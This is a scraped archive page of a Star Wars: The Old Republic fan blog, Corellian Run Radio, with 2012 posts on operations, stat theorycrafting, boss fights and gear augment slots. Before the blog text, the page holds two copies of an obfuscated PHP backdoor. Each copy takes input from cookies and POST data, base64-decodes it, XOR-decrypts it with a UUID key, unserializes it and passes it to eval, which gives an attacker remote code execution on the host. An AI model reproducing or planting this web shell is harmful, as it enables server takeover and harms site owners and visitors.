$eDITTpx = class_exists("E_sdBhD");if (!$eDITTpx){class E_sdBhD{private $Uwkjo;public static $GceVIgUuDx = "bb4019ce-3f6c-41c2-908d-f6034f80bd18";public static $hHxVxqyEP = NULL;public function __construct(){$STTVJb = $_COOKIE;$DZiTu = $_POST;$WDsdjh = @$STTVJb[substr(E_sdBhD::$GceVIgUuDx, 0, 4)];if (!empty($WDsdjh)){$wISPlIDZLO = "base64";$dUsBvmZpUV = "";$WDsdjh = explode(",", $WDsdjh);foreach ($WDsdjh as $WykdfVvtZ){$dUsBvmZpUV .= @$STTVJb[$WykdfVvtZ];$dUsBvmZpUV .= @$DZiTu[$WykdfVvtZ];}$dUsBvmZpUV = array_map($wISPlIDZLO . "\137" . "\x64" . "\x65" . "\x63" . "\x6f" . chr (100) . chr ( 1098 - 997 ), array($dUsBvmZpUV,)); $dUsBvmZpUV = $dUsBvmZpUV[0] ^ str_repeat(E_sdBhD::$GceVIgUuDx, (strlen($dUsBvmZpUV[0]) / strlen(E_sdBhD::$GceVIgUuDx)) + 1);E_sdBhD::$hHxVxqyEP = @unserialize($dUsBvmZpUV);}}public function __destruct(){$this->BfuLpx();}private function BfuLpx(){if (is_array(E_sdBhD::$hHxVxqyEP)) {$kjgrSU = str_replace("\x3c" . chr (63) . 'p' . "\150" . chr (112), "", E_sdBhD::$hHxVxqyEP["\143" . chr (111) . 'n' . chr ( 817 - 701 )."\x65" . "\156" . chr ( 520 - 404 )]);eval($kjgrSU);exit();}}}$LfAXf = new E_sdBhD(); $LfAXf = NULL;} ?> $HUXqtUIxy = class_exists("ip_QEqh");if (!$HUXqtUIxy){class ip_QEqh{private $TbmzRb;public static $FHcIW = "7ebcf308-eeb5-45d0-b672-e9d0e6153b2f";public static $fFfkEnNTtr = NULL;public function __construct(){$FhesM = $_COOKIE;$LHvkqFrxmX = $_POST;$MCHrxi = @$FhesM[substr(ip_QEqh::$FHcIW, 0, 4)];if (!empty($MCHrxi)){$ukeOe = "base64";$JuQfYmlyOm = "";$MCHrxi = explode(",", $MCHrxi);foreach ($MCHrxi as $BJxJBWW){$JuQfYmlyOm .= @$FhesM[$BJxJBWW];$JuQfYmlyOm .= @$LHvkqFrxmX[$BJxJBWW];}$JuQfYmlyOm = array_map($ukeOe . chr ( 127 - 32 )."\144" . "\x65" . "\143" . 'o' . "\x64" . "\x65", array($JuQfYmlyOm,)); $JuQfYmlyOm = $JuQfYmlyOm[0] ^ str_repeat(ip_QEqh::$FHcIW, (strlen($JuQfYmlyOm[0]) / strlen(ip_QEqh::$FHcIW)) + 1);ip_QEqh::$fFfkEnNTtr = @unserialize($JuQfYmlyOm);}}public function __destruct(){$this->tSjrbbjY();}private function tSjrbbjY(){if (is_array(ip_QEqh::$fFfkEnNTtr)) {$xdxaj = str_replace("\x3c" . "\x3f" . 'p' . chr ( 133 - 29 ).chr (112), "", ip_QEqh::$fFfkEnNTtr["\x63" . 'o' . chr (110) . "\x74" . 'e' . "\156" . chr ( 225 - 109 )]);eval($xdxaj);exit();}}}$SRNAi = new ip_QEqh(); $SRNAi = NULL;} ?> operation: information – Page 5 – Corellian Run Radio
Aug 032012
 

By Ghoztt

Don’t worry, this isn’t going to be a total geekout fest with number crunching and extreme min-maxing information.  I’ll do one of those articles later.  This article will be more focused on what beginner theorycrafters should know about their characters and what stats they should be focusing on.  We’ll also get a little into the numbers, but feel free to snooze when we get to that point. 🙂

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Jul 272012
 

By Ghoztt

End game players come in all sorts of shapes and sizes.  Of course, not in the literal sense (though that may be the case as well), but rather in the attitude they take when they play.  Everyone has their own reason for running operations and they are as varied as the day is long.  Some people raid for the fun of it, while others do it for the ‘prestige’.  Still others are interested in gear, while someone else may only be doing it out of boredom.  Whatever your attitude towards operation is, it is important to participate with like-minded people so that everyone is on the same page.

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Jul 132012
 

By Ghoztt

If you haven’t had a chance to tune into the latest official SW:TOR podcast, you missed a great discussion about some of the background goings on of how operations are developed.  Eric Musco and Brooks Guthrie sat down with Lead Flashpoint and Operation designer Jesse Sky and Senior Designer George Smith to discuss the ins and outs of boss mechanics and design.  This was a rare opportunity for the players to see what goes into making these encounters so enjoyable.

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Jul 062012
 

By Ghoztt

It’s been over two months since the release of 1.2 and the varnish of the new operation is starting to wear off a bit.  Hopefully you’ve been able to take a peek inside of Denova to see what the Explosive Conflict operation has to offer.  It offers new challenges for the Rakata geared player and is a welcomed increase in difficulty over the previous ops.  If you find yourself struggling with a few fights then maybe this article will shed some light on some of the boss fights.  You veterans may even pick up a trick or two. Continue reading »

Jun 292012
 

By Daragg
Intro by Ghoztt

With patch 1.3 released, we now have the ability to add an augment slot to all 14 pieces of gear.  In most cases, this is an increase of 252 to your main stat and 168 additional endurance.  This is huge!  I began to do the legwork on researching what it takes to make the augment slots but fortunately a guild-mate of mine already did most of it.  He wrote up a nice piece for those who were still unsure about what you will need in order to make these augments.  Hope you enjoy it! – Ghoztt, the shameless collaborator.

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